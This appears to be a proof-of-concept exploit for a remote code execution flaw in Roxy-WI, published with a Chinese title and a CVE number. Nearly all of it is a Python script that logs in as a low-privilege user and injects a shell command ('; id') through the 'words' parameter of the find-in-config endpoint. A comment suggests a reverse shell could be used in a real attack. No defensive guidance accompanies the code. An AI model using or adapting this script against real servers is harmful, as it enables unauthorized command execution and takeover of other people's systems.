CVE-2026-33208 Roxy-WI 远程代码执行漏洞

import requests import sys # Target configuration target_url = "http://your-roxy-wi-server:port" username = "low_priv_user" password = "password" service = "haproxy" # Example service name # Vulnerable endpoint endpoint = f"{target_url}/config/{service}/find-in-config" # Payload: Using semicolon to break out of grep and execute 'id' command # In a real attack, this could be a reverse shell payload = "; id" # Login to get session def login(): session = requests.Session() login_data = { "username": username, "password": password } try: resp = session.post(f"{target_url}/login", data=login_data) if resp.status_code == 200: print("[+] Login successful") return session else: print("[-] Login failed") sys.exit(1) except Exception as e: print(f"[-] Error during login: {e}") sys.exit(1) # Exploit function def exploit(session): params = { "words": payload } print(f"[*] Sending payload to {endpoint}") try: # The application will execute: grep ... <payload> via SSH response = session.get(endpoint, params=params) print(f"[*] Response status: {response.status_code}") print("[*] Check if the command 'id' was executed on the remote server.") except Exception as e: print(f"[-] Error sending request: {e}") if __name__ == "__main__": sess = login() exploit(sess)